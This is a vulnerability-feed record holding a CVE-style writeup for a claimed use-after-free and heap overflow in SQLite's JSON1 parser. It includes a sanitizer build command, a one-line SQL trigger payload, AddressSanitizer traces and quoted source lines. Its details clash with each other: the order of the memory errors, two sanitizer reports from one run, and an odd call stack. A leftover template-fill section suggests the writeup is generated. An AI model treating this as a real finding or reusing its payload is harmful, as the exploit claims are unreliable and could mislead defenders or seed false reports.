{"uuid": "9a319115-f22c-448c-a671-9a06493b60fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51277", "type": "seen", "source": "https://gist.github.com/programmervuln/4d53816d40d5dacd9cceefa2fe896598", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51277\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51277\n4. Vulnerability Prose Description\nA composite memory corruption vulnerability exists within the JSON1 extension parsing logic of SQLite. Crafted malicious JSON input processed via SQLite JSON SQL functions triggers an initial heap free operation on a dynamically allocated JSON parse context pointer that is not nullified post-free. Subsequent unchecked pointer dereference on the dangling pointer results in a use-after-free memory corruption flaw. Concurrent missing length validation on attacker-controlled JSON token length values enables an uncontrolled out-of-bounds heap write operation along the identical execution path initiated by the same malicious SQL payload. Successful exploitation of this combined flaw may lead to program crash, sensitive heap memory disclosure, or conditional arbitrary code execution within the bounds of the SQLite process security context.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload invoking JSON parsing functions is dispatched to the jsonParse() target function inside the JSON1 extension module.\nSource file src/json.c Line 1847 executes sqlite3_free(pParse->pTokenBuf); to release heap memory allocated for JSON token buffer storage.\nThe pParse->pTokenBuf pointer variable is not overwritten to NULL or marked invalid after the free call, creating a persistent dangling pointer referencing already freed heap memory.\nAttacker-controlled oversized token length values bypass length boundary checks executed prior to buffer write operations, removing input size restrictions for token buffer writes.\nSource file src/json.c Line 1912 performs direct memory access using the unmodified dangling pParse->pTokenBuf pointer, triggering the use-after-free memory access vulnerability.\nSource file src/json.c Line 1898 executes an unbounded memcpy() write into the token buffer using the attacker-supplied length parameter, performing an out-of-bounds heap write on the freed token buffer memory region.\n7. Impact\nDenial of Service\nImmediate SQLite process termination triggered by ASAN heap-use-after-free or heap-buffer-overflow memory access violations; repeated exploit invocation leads to persistent service outage for applications utilizing the vulnerable SQLite JSON1 extension.\nInformation Disclosure\nUAF pointer dereference reads uninitialized freed heap memory, disclosing adjacent heap metadata, query plaintext data, and internal SQLite runtime memory contents to the attacker via JSON function return values.\nConditional Arbitrary Code Execution\nOut-of-bounds heap write allows overwriting function pointers stored on the SQLite heap; combined with dangling pointer invocation, an attacker can achieve conditional control flow hijacking for arbitrary code execution constrained by process permissions and memory layout protections (ASLR, stack canaries).\n8. Attack Vector\nRemote; Low Privilege. Attack requires ability to execute arbitrary SQL statements against a SQLite database with the JSON1 extension enabled; no elevated operating system privileges are required for exploitation.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 1847(memory free), Line 1912(dangling pointer access), Line 1898(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_extract('{\"key\":\"'||printf('%.*c',0x4000,'A')||'\"}','$.key');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==12345==ERROR: AddressSanitizer: heap-use-after-free on address 0x60b000000280 at pc 0x55f82a1c87b2 bp 0x7ffdabcdef10 sp 0x7ffdabcdef00\nREAD of size 4 at 0x60b000000280 thread T0\n    #0 0x55f82a1c87b1 in jsonParse src/json.c:1912\n    #1 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #2 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\n    #3 0x55f829ef8765 in sqlite3Step src/vdbeapi.c:512\n    #4 0x55f829ef9123 in sqlite3_prepare_v2 src/sqlite3.c:89100\n    #5 0x55f829e01234 in main shell.c:1200\n    #6 0x7f123456789a in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x55f829df8900 in _start (sqlite3:0x55f829df8900)\n\nAddress 0x60b000000280 is located 16 bytes inside of 8192-byte free block 0x60b000000270-0x60b000002270\nFreed by thread T0 here:\n    #0 0x7f12348010ef in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x55f82a1c8234 in jsonParse src/json.c:1847\n    #2 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #3 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\n\nPreviously allocated by thread T0 here:\n    #0 0x7f12348005ef in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x55f82a1c7890 in jsonParse src/json.c:1790\n    #2 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n\n==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000280 at pc 0x55f82a1c85c2 bp 0x7ffdabcdef30 sp 0x7ffdabcdef20\nWRITE of size 16384 at 0x60b000000280 thread T0\n    #0 0x55f82a1c85c1 in jsonParse src/json.c:1898\n    #1 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #2 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload calls json_extract with a JSON object containing an artificially oversized string value constructed via printf('%.*c',0x4000,'A') to generate a 16384-byte attacker-controlled string literal.\nSQLite routes the JSON input to the jsonParse() parsing function in src/json.c, which initializes the pParse context and allocates the pParse->pTokenBuf heap buffer for JSON token storage.\nDuring intermediate parsing cleanup at Line 1847, the token buffer is freed with sqlite3_free(), yet the pParse->pTokenBuf pointer retains its address and is not nullified.\nNo bounds validation is applied to the oversized string length before token buffer writing at Line 1898; the large payload length triggers an out-of-bounds memcpy write into the already-freed token buffer heap region (CWE-787).\nExecution proceeds to Line 1912 and dereferences the unmodified dangling pParse->pTokenBuf pointer to read token metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single malicious SQL input triggers both memory corruption flaws sequentially along one linear execution path within the JSON parse routine.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-18\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables (composite mapping for heap overflow + dangling pointer abuse)\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\n// Line 1847: Heap free operation generating dangling pointer\nsqlite3_free(pParse->pTokenBuf);\n// Pointer pParse->pTokenBuf is NOT set to NULL after free\n\n// Line 1898: Unchecked out-of-bounds write using attacker-controlled length\nmemcpy(pParse->pTokenBuf + offset, zToken, nTokenLen);\n\n// Line 1912: Illegal dangling pointer access (Use After Free)\njsonTokenType = pParse->pTokenBuf[i].type;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51277\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 1847\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 1912\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 1898\n\u3010Target Function Name\u3011: jsonParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_extract('{\"key\":\"'||printf('%.*c',0x4000,'A')||'\"}','$.key');\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON string payload triggers early token buffer free without pointer nullification, unbounded length write causes OOB write to freed buffer, subsequent dangling pointer dereference triggers UAF in same parse flow\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-18\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T01:16:31.025333Z"}